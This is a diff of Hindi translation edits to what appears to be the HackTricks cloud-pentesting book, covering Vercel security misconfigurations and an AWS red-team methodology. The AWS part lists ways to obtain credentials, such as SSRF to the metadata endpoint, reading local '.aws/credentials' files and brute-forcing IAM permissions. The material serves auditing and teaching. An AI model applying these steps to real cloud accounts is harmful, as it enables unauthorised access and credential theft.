+- **Risk:** अनधिकृत उपयोगकर्ता कैश को हटा सकते हैं जिससे संभावित DoS हो सकता है।
---
@@ -181,7 +185,7 @@ Vercel में एक **Team** वह पूरी **environment** है ज
#### Security Configurations:
- **Disable Cron Job**
-- **Misconfiguration:** यह कोड के अंदर घोषित क्रोन नौकरियों को अक्षम करने की अनुमति देता है।
+- **Misconfiguration:** यह कोड के अंदर घोषित क्रोन नौकरियों को अक्षम करने की अनुमति देता है
- **Risk:** सेवा में संभावित विघटन (इस पर निर्भर करता है कि क्रोन नौकरियों का क्या मतलब था)
---
@@ -192,13 +196,13 @@ Vercel में एक **Team** वह पूरी **environment** है ज
#### Security Configurations:
-- Nothing (managed from teams settings)
+- कुछ नहीं (टीम सेटिंग्स से प्रबंधित)
---
### Security
-**Purpose:** प्रोजेक्ट एक्सेस, स्रोत सुरक्षा, और अधिक को प्रभावित करने वाली विभिन्न सुरक्षा-संबंधित सेटिंग्स के लिए केंद्रीय हब।
+**Purpose:** परियोजना पहुंच, स्रोत सुरक्षा, और अधिक को प्रभावित करने वाली विभिन्न सुरक्षा-संबंधित सेटिंग्स के लिए केंद्रीय हब।
#### Security Configurations:
@@ -210,7 +214,7 @@ Vercel में एक **Team** वह पूरी **environment** है ज
**Git Fork Protection**
- **Misconfiguration:** उचित समीक्षाओं के बिना अनधिकृत पुल अनुरोधों की अनुमति देना।
-- **Risk:** दुर्भावनापूर्ण कोड को कोडबेस में विलय किया जा सकता है, जिससे कमजोरियाँ या बैकडोर का परिचय होता है।
+- **Risk:** दुर्भावनापूर्ण कोड को कोडबेस में मर्ज किया जा सकता है, जिससे कमजोरियाँ या बैकडोर का परिचय होता है।
**Secure Backend Access with OIDC Federation**
@@ -219,25 +223,25 @@ Vercel में एक **Team** वह पूरी **environment** है ज
**Deployment Retention Policy**
-- **Misconfiguration:** बहुत छोटे (डिप्लॉयमेंट इतिहास खोना) या बहुत लंबे (अनावश्यक डेटा रखरखाव) रखरखाव अवधि सेट करना।
-- **Risk:** जब आवश्यकता हो तो रोलबैक करने में असमर्थता या पुराने डिप्लॉयमेंट से डेटा के उजागर होने का बढ़ा हुआ जोखिम।
+- **Misconfiguration:** बहुत छोटे (तैनाती इतिहास खोना) या बहुत लंबे (अनावश्यक डेटा रखरखाव) रखरखाव अवधि सेट करना।
+- **Risk:** आवश्यकता पड़ने पर रोलबैक करने में असमर्थता या पुराने तैनातियों से डेटा उजागर होने का बढ़ा हुआ जोखिम।
**Recently Deleted Deployments**
-- **Misconfiguration:** हटाए गए डिप्लॉयमेंट की निगरानी नहीं करना या स्वचालित हटाने पर पूरी तरह से निर्भर रहना।
-- **Risk:** महत्वपूर्ण डिप्लॉयमेंट इतिहास का नुकसान, ऑडिट और रोलबैक में बाधा।
+- **Misconfiguration:** हटाई गई तैनातियों की निगरानी नहीं करना या स्वचालित हटाने पर पूरी तरह से निर्भर रहना।
+- **Risk:** महत्वपूर्ण तैनाती इतिहास का नुकसान, ऑडिट और रोलबैक में बाधा।
---
### Advanced
-**Purpose:** कॉन्फ़िगरेशन को ठीक करने और सुरक्षा बढ़ाने के लिए अतिरिक्त प्रोजेक्ट सेटिंग्स तक पहुंच।
+**Purpose:** कॉन्फ़िगरेशन को ठीक करने और सुरक्षा बढ़ाने के लिए अतिरिक्त परियोजना सेटिंग्स तक पहुंच।
#### Security Configurations:
**Directory Listing**
-- **Misconfiguration:** डायरेक्टरी लिस्टिंग सक्षम करना उपयोगकर्ताओं को बिना इंडेक्स फ़ाइल के डायरेक्टरी सामग्री देखने की अनुमति देता है।
+- **Misconfiguration:** निर्देशिका सूचीकरण सक्षम करना उपयोगकर्ताओं को बिना इंडेक्स फ़ाइल के निर्देशिका सामग्री देखने की अनुमति देता है।
- **Risk:** संवेदनशील फ़ाइलों, एप्लिकेशन संरचना, और हमलों के लिए संभावित प्रवेश बिंदुओं का उजागर होना।
---
@@ -256,7 +260,7 @@ Vercel में एक **Team** वह पूरी **environment** है ज
### Custom Rules & IP Blocking
- **Misconfiguration:** ट्रैफ़िक को अनब्लॉक/ब्लॉक करने की अनुमति देता है
-- **Risk:** संभावित DoS जो दुर्भावनापूर्ण ट्रैफ़िक की अनुमति देता है या बेनिग्न ट्रैफ़िक को ब्लॉक करता है
+- **Risk:** दुर्भावनापूर्ण ट्रैफ़िक की अनुमति देने या बेनिग्न ट्रैफ़िक को अवरुद्ध करने की संभावित DoS
---
@@ -270,7 +274,7 @@ Vercel में एक **Team** वह पूरी **environment** है ज
### Skew Protection
- **Misconfiguration:** यह सुरक्षा सुनिश्चित करता है कि क्लाइंट और सर्वर एप्लिकेशन हमेशा एक ही संस्करण का उपयोग कर रहे हैं ताकि कोई असंगति न हो जहाँ क्लाइंट सर्वर से अलग संस्करण का उपयोग करता है और इसलिए वे एक-दूसरे को समझ नहीं पाते।
-- **Risk:** इसे अक्षम करना (यदि सक्षम है) भविष्य में नए डिप्लॉयमेंट में DoS समस्याएँ पैदा कर सकता है
+- **Risk:** इसे अक्षम करना (यदि सक्षम है) भविष्य में नई तैनातियों में DoS समस्याएँ पैदा कर सकता है
---
@@ -281,11 +285,11 @@ Vercel में एक **Team** वह पूरी **environment** है ज
#### Security Configurations:
- **Transfer**
-- **Misconfiguration:** सभी प्रोजेक्ट्स को दूसरे टीम में स्थानांतरित करने की अनुमति देता है
-- **Risk:** एक हमलावर प्रोजेक्ट्स चुरा सकता है
+- **Misconfiguration:** सभी परियोजनाओं को दूसरे टीम में स्थानांतरित करने की अनुमति देता है
+- **Risk:** एक हमलावर परियोजनाओं को चुरा सकता है
- **Delete Project**
-- **Misconfiguration:** सभी प्रोजेक्ट्स के साथ टीम को हटाने की अनुमति देता है
-- **Risk:** प्रोजेक्ट्स को हटाना
+- **Misconfiguration:** सभी परियोजनाओं के साथ टीम को हटाने की अनुमति देता है
+- **Risk:** परियोजनाओं को हटाना
---
@@ -307,22 +311,22 @@ Vercel में एक **Team** वह पूरी **environment** है ज
- **Misconfiguration:** एक हमलावर एक ऐसा खाता आमंत्रित करके स्थायीता बनाए रख सकता है जिसे वह नियंत्रित करता है
- **Risk:** हमलावर की स्थिरता
- **Roles**
-- **Misconfiguration:** उन लोगों को बहुत अधिक अनुमतियाँ देना जिन्हें इसकी आवश्यकता नहीं है, Vercel कॉन्फ़िगरेशन के जोखिम को बढ़ाता है। सभी संभावित भूमिकाओं की जांच करें [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
+- **Misconfiguration:** उन लोगों को बहुत अधिक अनुमतियाँ देना जिन्हें इसकी आवश्यकता नहीं है Vercel कॉन्फ़िगरेशन के जोखिम को बढ़ाता है। सभी संभावित भूमिकाओं की जांच करें [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
- **Risk**: Vercel Team की एक्सपोजर बढ़ाना
---
### Access Groups
-Vercel में एक **Access Group** प्रोजेक्ट्स और टीम के सदस्यों का एक संग्रह है जिसमें पूर्वनिर्धारित भूमिका असाइनमेंट होते हैं, जो कई प्रोजेक्ट्स में केंद्रीकृत और सुव्यवस्थित पहुंच प्रबंधन को सक्षम बनाता है।
+Vercel में एक **Access Group** परियोजनाओं और टीम के सदस्यों का एक संग्रह है जिसमें पूर्वनिर्धारित भूमिका असाइनमेंट होते हैं, जो कई परियोजनाओं में केंद्रीकृत और सुव्यवस्थित पहुंच प्रबंधन को सक्षम बनाते हैं।
**Potential Misconfigurations:**
-- **Over-Permissioning Members:** अनावश्यक रूप से अधिक अनुमतियों के साथ भूमिकाएँ असाइन करना, अनधिकृत पहुंच या क्रियाओं की ओर ले जाना।
+- **Over-Permissioning Members:** आवश्यकताओं से अधिक अनुमतियों के साथ भूमिकाएँ असाइन करना, अनधिकृत पहुंच या क्रियाओं की ओर ले जाना।
- **Improper Role Assignments:** भूमिकाएँ गलत तरीके से असाइन करना जो टीम के सदस्यों की जिम्मेदारियों के साथ मेल नहीं खाती, जिससे विशेषाधिकार वृद्धि होती है।
-- **Lack of Project Segregation:** संवेदनशील प्रोजेक्ट्स को अलग करने में विफलता, जिससे अपेक्षित से अधिक व्यापक पहुंच की अनुमति मिलती है।
-- **Insufficient Group Management:** एक्सेस ग्रुप्स की नियमित समीक्षा या अपडेट नहीं करना, जिससे पुरानी या अनुपयुक्त पहुंच अनुमतियाँ होती हैं।
-- **Inconsistent Role Definitions:** विभिन्न एक्सेस ग्रुप्स में असंगत या अस्पष्ट भूमिका परिभाषाओं का उपयोग करना, जिससे भ्रम और सुरक्षा अंतराल होते हैं।
+- **Lack of Project Segregation:** संवेदनशील परियोजनाओं को अलग करने में विफलता, जिससे अपेक्षित से अधिक व्यापक पहुंच की अनुमति मिलती है।
+- **Insufficient Group Management:** एक्सेस समूहों की नियमित समीक्षा या अद्यतन नहीं करना, जिससे पुरानी या अनुपयुक्त पहुंच अनुमतियाँ होती हैं।
+- **Inconsistent Role Definitions:** विभिन्न एक्सेस समूहों में असंगत या अस्पष्ट भूमिका परिभाषाओं का उपयोग करना, जिससे भ्रम और सुरक्षा अंतराल होते हैं।
---
@@ -342,37 +346,37 @@ Vercel में एक **Access Group** प्रोजेक्ट्स औ
- **Team Email Domain:** जब कॉन्फ़िगर किया जाता है, तो यह सेटिंग स्वचालित रूप से निर्दिष्ट डोमेन (जैसे, `mydomain.com`) के साथ समाप्त होने वाले ईमेल पते वाले Vercel व्यक्तिगत खातों को आपके टीम में शामिल होने के लिए आमंत्रित करती है।
- **Misconfiguration:**\
-- गलत ईमेल डोमेन या टीम ईमेल डोमेन सेटिंग में गलत स्पेलिंग निर्दिष्ट करना।
-- एक सामान्य ईमेल डोमेन (जैसे, `gmail.com`, `hotmail.com`) का उपयोग करना बजाय कंपनी-विशिष्ट डोमेन के।
+गलत ईमेल डोमेन या टीम ईमेल डोमेन सेटिंग में गलत स्पेलिंग निर्दिष्ट करना।
+- सामान्य ईमेल डोमेन (जैसे, `gmail.com`, `hotmail.com`) का उपयोग करना बजाय कंपनी-विशिष्ट डोमेन के।
- **Risks:**
-- **Unauthorized Access:** अनपेक्षित डोमेन से ईमेल पते वाले उपयोगकर्ताओं को आपकी टीम में शामिल होने के लिए आमंत्रण मिल सकते हैं।
-- **Data Exposure:** अनधिकृत व्यक्तियों के लिए संवेदनशील प्रोजेक्ट जानकारी का संभावित उजागर होना।
-- **Protected Git Scopes:** आपको अपनी टीम के लिए 5 Git स्कोप जोड़ने की अनुमति देता है ताकि अन्य Vercel टीमों को सुरक्षित स्कोप से रिपॉजिटरी को डिप्लॉय करने से रोका जा सके। कई टीमें एक ही स्कोप निर्दिष्ट कर सकती हैं, जिससे दोनों टीमों को पहुंच मिलती है।
+- **Unauthorized Access:** अनपेक्षित डोमेन से ईमेल पते वाले उपयोगकर्ताओं को आपकी टीम में शामिल होने के लिए आमंत्रण मिल सकता है।
+- **Data Exposure:** अनधिकृत व्यक्तियों के लिए संवेदनशील परियोजना जानकारी का संभावित उजागर होना।
+- **Protected Git Scopes:** आपको अपनी टीम के लिए 5 Git स्कोप जोड़ने की अनुमति देता है ताकि अन्य Vercel टीमों को सुरक्षित स्कोप से रिपॉजिटरी तैनात करने से रोका जा सके। कई टीमें एक ही स्कोप निर्दिष्ट कर सकती हैं, जिससे दोनों टीमों को पहुंच मिलती है।
- **Misconfiguration:** सुरक्षित सूची में महत्वपूर्ण Git स्कोप जोड़ने में विफलता।
- **Risks:**
-- **Unauthorized Deployments:** अन्य टीमें आपकी संगठन की Git स्कोप से बिना अनुमति के रिपॉजिटरी को डिप्लॉय कर सकती हैं।
-- **Intellectual Property Exposure:** स्वामित्व कोड को आपकी टीम के बाहर डिप्लॉय और एक्सेस किया जा सकता है।
-- **Environment Variable Policies:** टीम के वातावरण वेरिएबल्स के निर्माण और संपादन के लिए नीतियों को लागू करता है। विशेष रूप से, आप यह लागू कर सकते हैं कि सभी वातावरण वेरिएबल्स को **Sensitive Environment Variables** के रूप में बनाया जाए, जिन्हें केवल Vercel के डिप्लॉयमेंट सिस्टम द्वारा डिक्रिप्ट किया जा सकता है।
-- **Misconfiguration:** संवेदनशील वातावरण वेरिएबल्स के प्रवर्तन को अक्षम रखना।
+- **Unauthorized Deployments:** अन्य टीमें आपकी संगठन की Git स्कोप से बिना अनुमति के रिपॉजिटरी तैनात कर सकती हैं।
+- **Intellectual Property Exposure:** स्वामित्व कोड को आपकी टीम के बाहर तैनात और एक्सेस किया जा सकता है।
+- **Environment Variable Policies:** टीम के पर्यावरण चर के निर्माण और संपादन के लिए नीतियों को लागू करता है। विशेष रूप से, आप यह लागू कर सकते हैं कि सभी पर्यावरण चर को **Sensitive Environment Variables** के रूप में बनाया जाए, जिन्हें केवल Vercel के तैनाती प्रणाली द्वारा डिक्रिप्ट किया जा सकता है।
+- **Misconfiguration:** संवेदनशील पर्यावरण चर के प्रवर्तन को अक्षम रखना।
- **Risks:**
-- **Exposure of Secrets:** वातावरण वेरिएबल्स को अनधिकृत टीम के सदस्यों द्वारा देखा या संपादित किया जा सकता है।
-- **Data Breach:** संवेदनशील जानकारी जैसे API कुंजी और क्रेडेंशियल्स लीक हो सकते हैं।
-- **Audit Log:** टीम की गतिविधियों का निर्यात प्रदान करता है जो पिछले 90 दिनों तक होता है। ऑडिट लॉग टीम के सदस्यों द्वारा किए गए कार्यों की निगरानी और ट्रैकिंग में मदद करते हैं।
+- **Exposure of Secrets:** पर्यावरण चर को अनधिकृत टीम के सदस्यों द्वारा देखा या संपादित किया जा सकता है।
+- **Data Breach:** संवेदनशील जानकारी जैसे API कुंजी और क्रेडेंशियल लीक हो सकते हैं।
+- **Audit Log:** टीम की गतिविधियों का पिछले 90 दिनों के लिए निर्यात प्रदान करता है। ऑडिट लॉग टीम के सदस्यों द्वारा किए गए कार्यों की निगरानी और ट्रैकिंग में मदद करते हैं।
- **Misconfiguration:**\
-अनधिकृत टीम के सदस्यों को ऑडिट लॉग्स तक पहुंच देना।
+अनधिकृत टीम के सदस्यों को ऑडिट लॉग तक पहुंच देना।
- **Risks:**
- **Privacy Violations:** संवेदनशील उपयोगकर्ता गतिविधियों और डेटा का उजागर होना।
-- **Tampering with Logs:** दुर्भावनापूर्ण अभिनेता लॉग को बदल या हटा सकते हैं ताकि वे अपने निशान छिपा सकें।
+- **Tampering with Logs:** दुर्भावनापूर्ण अभिनेता अपने ट्रैक को छिपाने के लिए लॉग को बदल या हटा सकते हैं।
- **SAML Single Sign-On:** आपकी टीम के लिए SAML प्रमाणीकरण और निर्देशिका समन्वय को अनुकूलित करने की अनुमति देता है, केंद्रीकृत प्रमाणीकरण और उपयोगकर्ता प्रबंधन के लिए एक पहचान प्रदाता (IdP) के साथ एकीकरण सक्षम करता है।
-- **Misconfiguration:** एक हमलावर SAML पैरामीटर जैसे Entity ID, SSO URL, या प्रमाणपत्र फिंगरप्रिंट्स को बैकडोर कर सकता है।
+- **Misconfiguration:** एक हमलावर SAML पैरामीटर जैसे Entity ID, SSO URL, या प्रमाणपत्र फिंगरप्रिंट सेटअप में बैकडोर कर सकता है।
- **Risk:** स्थिरता बनाए रखना
-- **IP Address Visibility:** नियंत्रित करता है कि क्या IP पते, जिन्हें कुछ डेटा सुरक्षा कानूनों के तहत व्यक्तिगत जानकारी माना जा सकता है, निगरानी क्वेरी और लॉग ड्रेनों में प्रदर्शित होते हैं।
+- **IP Address Visibility:** नियंत्रित करता है कि क्या IP पते, जिन्हें कुछ डेटा सुरक्षा कानूनों के तहत व्यक्तिगत जानकारी माना जा सकता है, निगरानी प्रश्नों और लॉग ड्रेनों में प्रदर्शित होते हैं।
- **Misconfiguration:** आवश्यकता के बिना IP पते की दृश्यता को सक्षम छोड़ना।
- **Risks:**
-- **Privacy Violations:** डेटा सुरक्षा नियमों जैसे GDPR का अनुपालन न करना।
+- **Privacy Violations:** डेटा सुरक्षा नियमों जैसे GDPR के साथ अनुपालन में विफलता।
- **Legal Repercussions:** व्यक्तिगत डेटा के गलत प्रबंधन के लिए संभावित जुर्माना और दंड।
-- **IP Blocking:** IP पते और CIDR रेंजों को कॉन्फ़िगर करने की अनुमति देता है जिनसे Vercel को अनुरोधों को ब्लॉक करना चाहिए। ब्लॉक किए गए अनुरोध आपके बिलिंग में योगदान नहीं करते हैं।
-- **Misconfiguration:** एक हमलावर द्वारा दुर्भावनापूर्ण ट्रैफ़िक की अनुमति देने या वैध ट्रैफ़िक को ब्लॉक करने के लिए दुरुपयोग किया जा सकता है।
+- **IP Blocking:** Vercel को उन IP पते और CIDR रेंजों को कॉन्फ़िगर करने की अनुमति देता है जिनसे अनुरोधों को अवरुद्ध करना चाहिए। अवरुद्ध अनुरोध आपके बिलिंग में योगदान नहीं करते हैं।
+- **Misconfiguration:** एक हमलावर द्वारा दुर्भावनापूर्ण ट्रैफ़िक की अनुमति देने या वैध ट्रैफ़िक को अवरुद्ध करने के लिए दुरुपयोग किया जा सकता है।
- **Risks:**
- **Service Denial to Legitimate Users:** वैध उपयोगकर्ताओं या भागीदारों के लिए पहुंच को अवरुद्ध करना।
- **Operational Disruptions:** कुछ क्षेत्रों या ग्राहकों के लिए सेवा उपलब्धता का नुकसान।
@@ -386,32 +390,32 @@ Vercel में एक **Access Group** प्रोजेक्ट्स औ
#### **Potential Misconfigurations and Risks**
1. **Incorrect AWS Region Selection**
-- **Misconfiguration:** Secure Compute नेटवर्क के लिए एक AWS क्षेत्र का चयन करना जो बैकएंड सेवाओं के क्षेत्र से मेल नहीं खाता।
+- **Misconfiguration:** Secure Compute नेटवर्क के लिए AWS क्षेत्र का चयन करना जो बैकएंड सेवाओं के क्षेत्र से मेल नहीं खाता।
- **Risk:** बढ़ी हुई लेटेंसी, संभावित डेटा निवास अनुपालन मुद्दे, और प्रदर्शन में कमी।
2. **Overlapping CIDR Blocks**
-- **Misconfiguration:** CIDR ब्लॉक्स का चयन करना जो मौजूदा VPCs या अन्य नेटवर्क के साथ ओवरलैप करते हैं।
-- **Risk:** नेटवर्क संघर्ष जो विफल कनेक्शन, अनधिकृत पहुंच, या नेटवर्क के बीच डेटा लीक का कारण बनता है।
+- **Misconfiguration:** CIDR ब्लॉकों का चयन करना जो मौजूदा VPCs या अन्य नेटवर्क के साथ ओवरलैप करते हैं।
+- **Risk:** नेटवर्क संघर्ष जो विफल कनेक्शन, अनधिकृत पहुंच, या नेटवर्क के बीच डेटा रिसाव का कारण बनता है।
3. **Improper VPC Peering Configuration**
- **Misconfiguration:** VPC पीयरिंग को गलत तरीके से सेट करना (जैसे, गलत VPC IDs, अधूरी रूट टेबल अपडेट)।
-- **Risk:** बैकएंड अवसंरचना तक अनधिकृत पहुंच, सुरक्षित कनेक्शनों में विफलता, और संभावित डेटा उल्लंघन।
+- **Risk:** बैकएंड बुनियादी ढांचे तक अनधिकृत पहुंच, सुरक्षित कनेक्शनों में विफलता, और संभावित डेटा उल्लंघन।
4. **Excessive Project Assignments**
-- **Misconfiguration:** उचित अलगाव के बिना एकल Secure Compute नेटवर्क में कई प्रोजेक्ट्स को असाइन करना।
-- **Risk:** साझा IP एक्सपोजर हमले की सतह को बढ़ाता है, संभावित रूप से समझौता किए गए प्रोजेक्ट्स को दूसरों को प्रभावित करने की अनुमति देता है।
+- **Misconfiguration:** उचित अलगाव के बिना एक Secure Compute नेटवर्क को कई परियोजनाओं को असाइन करना।
+- **Risk:** साझा IP का उजागर होना हमले की सतह को बढ़ाता है, संभावित रूप से समझौता किए गए परियोजनाओं को अन्य पर प्रभाव डालने की अनुमति देता है।
5. **Inadequate IP Address Management**
- **Misconfiguration:** समर्पित IP पते का उचित प्रबंधन या रोटेट करने में विफलता।
- **Risk:** IP स्पूफिंग, ट्रैकिंग कमजोरियाँ, और यदि IPs दुर्भावनापूर्ण गतिविधियों से जुड़े हैं तो संभावित ब्लैकलिस्टिंग।
6. **Including Build Containers Unnecessarily**
-- **Misconfiguration:** जब बैकएंड एक्सेस की आवश्यकता नहीं होती है, तो Secure Compute नेटवर्क में बिल्ड कंटेनरों को जोड़ना।
+- **Misconfiguration:** जब बैकएंड एक्सेस की आवश्यकता नहीं होती है, तो Secure Compute नेटवर्क में निर्माण कंटेनरों को जोड़ना।
- **Risk:** विस्तारित हमले की सतह, बढ़ी हुई प्रावधान में देरी, और नेटवर्क संसाधनों की अनावश्यक खपत।
7. **Failure to Securely Handle Bypass Secrets**
-- **Misconfiguration:** डिप्लॉयमेंट सुरक्षा को बायपास करने के लिए उपयोग किए जाने वाले रहस्यों को उजागर करना या गलत तरीके से संभालना।
-- **Risk:** सुरक्षित डिप्लॉयमेंट्स तक अनधिकृत पहुंच, हमलावरों को दुर्भावनापूर्ण कोड को हेरफेर या डिप्लॉय करने की अनुमति देना।
+- **Misconfiguration:** तैनाती सुरक्षा को बायपास करने के लिए उपयोग किए जाने वाले रहस्यों को उजागर करना या गलत तरीके से संभालना।
+- **Risk:** सुरक्षित तैनातियों तक अनधिकृत पहुंच, हमलावरों को हेरफेर या दुर्भावनापूर्ण कोड तैनात करने की अनुमति देना।
8. **Ignoring Region Failover Configurations**
- **Misconfiguration:** निष्क्रिय फेलओवर क्षेत्रों को सेट करने में विफलता या फेलओवर सेटिंग्स को गलत तरीके से कॉन्फ़िगर करना।
- **Risk:** प्राथमिक क्षेत्र की आउटेज के दौरान सेवा डाउनटाइम, उपलब्धता में कमी और संभावित डेटा असंगति।
9. **Exceeding VPC Peering Connection Limits**
- **Misconfiguration:** अनुमत सीमा से अधिक VPC पीयरिंग कनेक्शन स्थापित करने का प्रयास करना (जैसे, 50 कनेक्शनों से अधिक)।
-- **Risk:** आवश्यक बैकएंड सेवाओं को सुरक्षित रूप से कनेक्ट करने में असमर्थता, डिप्लॉयमेंट विफलताओं और परिचालन व्यवधानों का कारण बनता है।
+- **Risk:** आवश्यक बैकएंड सेवाओं को सुरक्षित रूप से कनेक्ट करने में असमर्थता, तैनाती विफलताओं और परिचालन व्यवधानों का कारण बनना।
10. **Insecure Network Settings**
- **Misconfiguration:** कमजोर फ़ायरवॉल नियम, एन्क्रिप्शन की कमी, या Secure Compute नेटवर्क के भीतर गलत नेटवर्क विभाजन।
- **Risk:** डेटा इंटरसेप्शन, बैकएंड सेवाओं तक अनधिकृत पहुंच, और हमलों के प्रति बढ़ी हुई संवेदनशीलता।
@@ -420,13 +424,13 @@ Vercel में एक **Access Group** प्रोजेक्ट्स औ
### Environment Variables
-**Purpose:** सभी प्रोजेक्ट्स द्वारा उपयोग किए जाने वाले वातावरण-विशिष्ट वेरिएबल्स और रहस्यों का प्रबंधन करें।
+**Purpose:** सभी परियोजनाओं द्वारा उपयोग किए जाने वाले वातावरण-विशिष्ट वेरिएबल और रहस्यों का प्रबंधन करें।
#### Security Configurations:
- **Exposing Sensitive Variables**
-- **Misconfiguration:** संवेदनशील वेरिएबल्स को `NEXT_PUBLIC_` के साथ प्रीफिक्स करना, जिससे वे क्लाइंट साइड पर उपलब्ध हो जाते हैं।
-- **Risk:** API कुंजी, डेटाबेस क्रेडेंशियल्स, या अन्य संवेदनशील डेटा का सार्वजनिक रूप से उजागर होना, जिससे डेटा उल्लंघन हो सकता है।
+- **Misconfiguration:** संवेदनशील वेरिएबल को `NEXT_PUBLIC_` के साथ पूर्ववर्ती करना, जिससे उन्हें क्लाइंट साइड पर पहुंच योग्य बनाना।
+- **Risk:** API कुंजी, डेटाबेस क्रेडेंशियल, या अन्य संवेदनशील डेटा का सार्वजनिक रूप से उजागर होना, जिससे डेटा उल्लंघन हो सकता है।
- **Sensitive disabled**
- **Misconfiguration:** यदि अक्षम (डिफ़ॉल्ट) है तो उत्पन्न रहस्यों के मानों को पढ़ना संभव है।
- **Risk:** संवेदनशील जानकारी के अनधिकृत पहुंच या आकस्मिक उजागर होने की संभावना बढ़ जाती है।
diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md
index a7b580696..12107a5fb 100644
--- a/src/pentesting-cloud/aws-security/README.md
+++ b/src/pentesting-cloud/aws-security/README.md
@@ -4,7 +4,7 @@
## Basic Information
-**AWS** वातावरण में **pentesting** शुरू करने से पहले, कुछ **बुनियादी बातें हैं जो आपको जाननी चाहिए** कि AWS कैसे काम करता है, ताकि आप समझ सकें कि आपको क्या करना है, कैसे गलत कॉन्फ़िगरेशन खोजने हैं और उन्हें कैसे भुनाना है।
+**AWS** वातावरण में **pentesting** शुरू करने से पहले, कुछ **बुनियादी बातें हैं जो आपको जाननी चाहिए** कि AWS कैसे काम करता है, ताकि आप समझ सकें कि आपको क्या करना है, गलत कॉन्फ़िगरेशन कैसे खोजें और उनका कैसे लाभ उठाएं।
संगठन की पदानुक्रम, IAM और अन्य बुनियादी अवधारणाओं जैसे सिद्धांतों को समझाया गया है:
@@ -29,15 +29,15 @@ Tools to simulate attacks:
## AWS Pentester/Red Team Methodology
-AWS वातावरण का ऑडिट करने के लिए यह जानना बहुत महत्वपूर्ण है: कौन सी **सेवाएँ उपयोग की जा रही हैं**, क्या **प्रदर्शित किया जा रहा है**, किसके पास **पहुँच** है, और आंतरिक AWS सेवाएँ और **बाहरी सेवाएँ** कैसे जुड़ी हुई हैं।
+AWS वातावरण का ऑडिट करने के लिए यह जानना बहुत महत्वपूर्ण है: कौन सी **सेवाएं उपयोग की जा रही हैं**, क्या **प्रदर्शित किया जा रहा है**, किसके पास **पहुँच** है, और आंतरिक AWS सेवाएं और **बाहरी सेवाएं** कैसे जुड़ी हुई हैं।
-Red Team के दृष्टिकोण से, **AWS वातावरण को समझौता करने का पहला कदम** कुछ **क्रेडेंशियल्स** प्राप्त करना है। यहाँ कुछ विचार दिए गए हैं कि आप ऐसा कैसे कर सकते हैं:
+Red Team के दृष्टिकोण से, AWS वातावरण को समझौता करने का **पहला कदम** कुछ **क्रेडेंशियल्स** प्राप्त करना है। यहां कुछ विचार दिए गए हैं कि आप ऐसा कैसे कर सकते हैं:
- github (या समान) में **लीक** - OSINT
- **सामाजिक** इंजीनियरिंग
- **पासवर्ड** पुन: उपयोग (पासवर्ड लीक)
-- AWS-होस्टेड अनुप्रयोगों में कमजोरियाँ
-- [**सर्वर साइड अनुरोध धोखाधड़ी**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) जो मेटाडेटा एंडपॉइंट तक पहुँच प्रदान करती है
+- AWS-होस्टेड अनुप्रयोगों में कमजोरियां
+- [**सर्वर साइड अनुरोध धोखाधड़ी**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) जिसमें मेटाडेटा एंडपॉइंट तक पहुंच है
- **स्थानीय फ़ाइल पढ़ें**
- `/home/USERNAME/.aws/credentials`
- `C:\Users\USERNAME\.aws\credentials`
@@ -51,20 +51,20 @@ Red Team के दृष्टिकोण से, **AWS वातावरण
aws-unauthenticated-enum-access/
{{#endref}}
-या यदि आप एक **समीक्षा** कर रहे हैं तो आप बस इन भूमिकाओं के साथ **क्रेडेंशियल्स** मांग सकते हैं:
+या यदि आप एक **समीक्षा** कर रहे हैं तो आप बस इन भूमिकाओं के साथ **क्रेडेंशियल्स** के लिए **पूछ सकते हैं**:
{{#ref}}
aws-permissions-for-a-pentest.md
{{#endref}}
> [!NOTE]
-> एक बार जब आप क्रेडेंशियल्स प्राप्त करने में सफल हो जाते हैं, तो आपको यह जानना होगा कि **ये क्रेडेंशियल्स किसके हैं**, और **इनके पास क्या पहुँच है**, इसलिए आपको कुछ बुनियादी गणना करनी होगी:
+> एक बार जब आप क्रेडेंशियल्स प्राप्त करने में सफल हो जाते हैं, तो आपको यह जानने की आवश्यकता है कि **ये क्रेडेंशियल्स किसके हैं**, और **इनके पास क्या पहुंच है**, इसलिए आपको कुछ बुनियादी गणना करने की आवश्यकता है:
## Basic Enumeration
### SSRF
-यदि आपने AWS के अंदर एक मशीन में SSRF पाया है, तो इस पृष्ठ पर ट्रिक्स के लिए देखें:
+यदि आपने AWS के अंदर एक मशीन में SSRF पाया है, तो ट्रिक्स के लिए इस पृष्ठ की जांच करें:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
@@ -100,30 +100,30 @@ aws-services/aws-organizations-enum.md
### IAM Enumeration
-यदि आपके पास पर्याप्त अनुमतियाँ हैं तो **AWS खाते के अंदर प्रत्येक इकाई के विशेषाधिकारों की जांच करना** आपको यह समझने में मदद करेगा कि आप और अन्य पहचान क्या कर सकते हैं और कैसे **विशेषाधिकार बढ़ा सकते हैं**।
+यदि आपके पास पर्याप्त अनुमतियाँ हैं तो **AWS खाते के अंदर प्रत्येक इकाई के अधिकारों की जांच करना** आपको यह समझने में मदद करेगा कि आप और अन्य पहचान क्या कर सकते हैं और **privileges को बढ़ाने** का तरीका।
-यदि आपके पास IAM को सूचीबद्ध करने के लिए पर्याप्त अनुमतियाँ नहीं हैं, तो आप **उन्हें चुराने के लिए ब्रूटफोर्स कर सकते हैं**।\
-**सूचीकरण और ब्रूट-फोर्सिंग कैसे करें** की जांच करें:
+यदि आपके पास IAM को enumerating करने के लिए पर्याप्त अनुमतियाँ नहीं हैं, तो आप **bruteforce करके उन्हें चुरा सकते हैं**।\
+**संख्यांकन और ब्रूट-फोर्सिंग कैसे करें** की जांच करें:
{{#ref}}
aws-services/aws-iam-enum.md
{{#endref}}
> [!NOTE]
-> अब जब आपके पास **अपने क्रेडेंशियल्स के बारे में कुछ जानकारी है** (और यदि आप एक रेड टीम हैं तो उम्मीद है कि आप **पता नहीं चले हैं**)। यह पता लगाने का समय है कि वातावरण में कौन सी सेवाएँ उपयोग की जा रही हैं।\
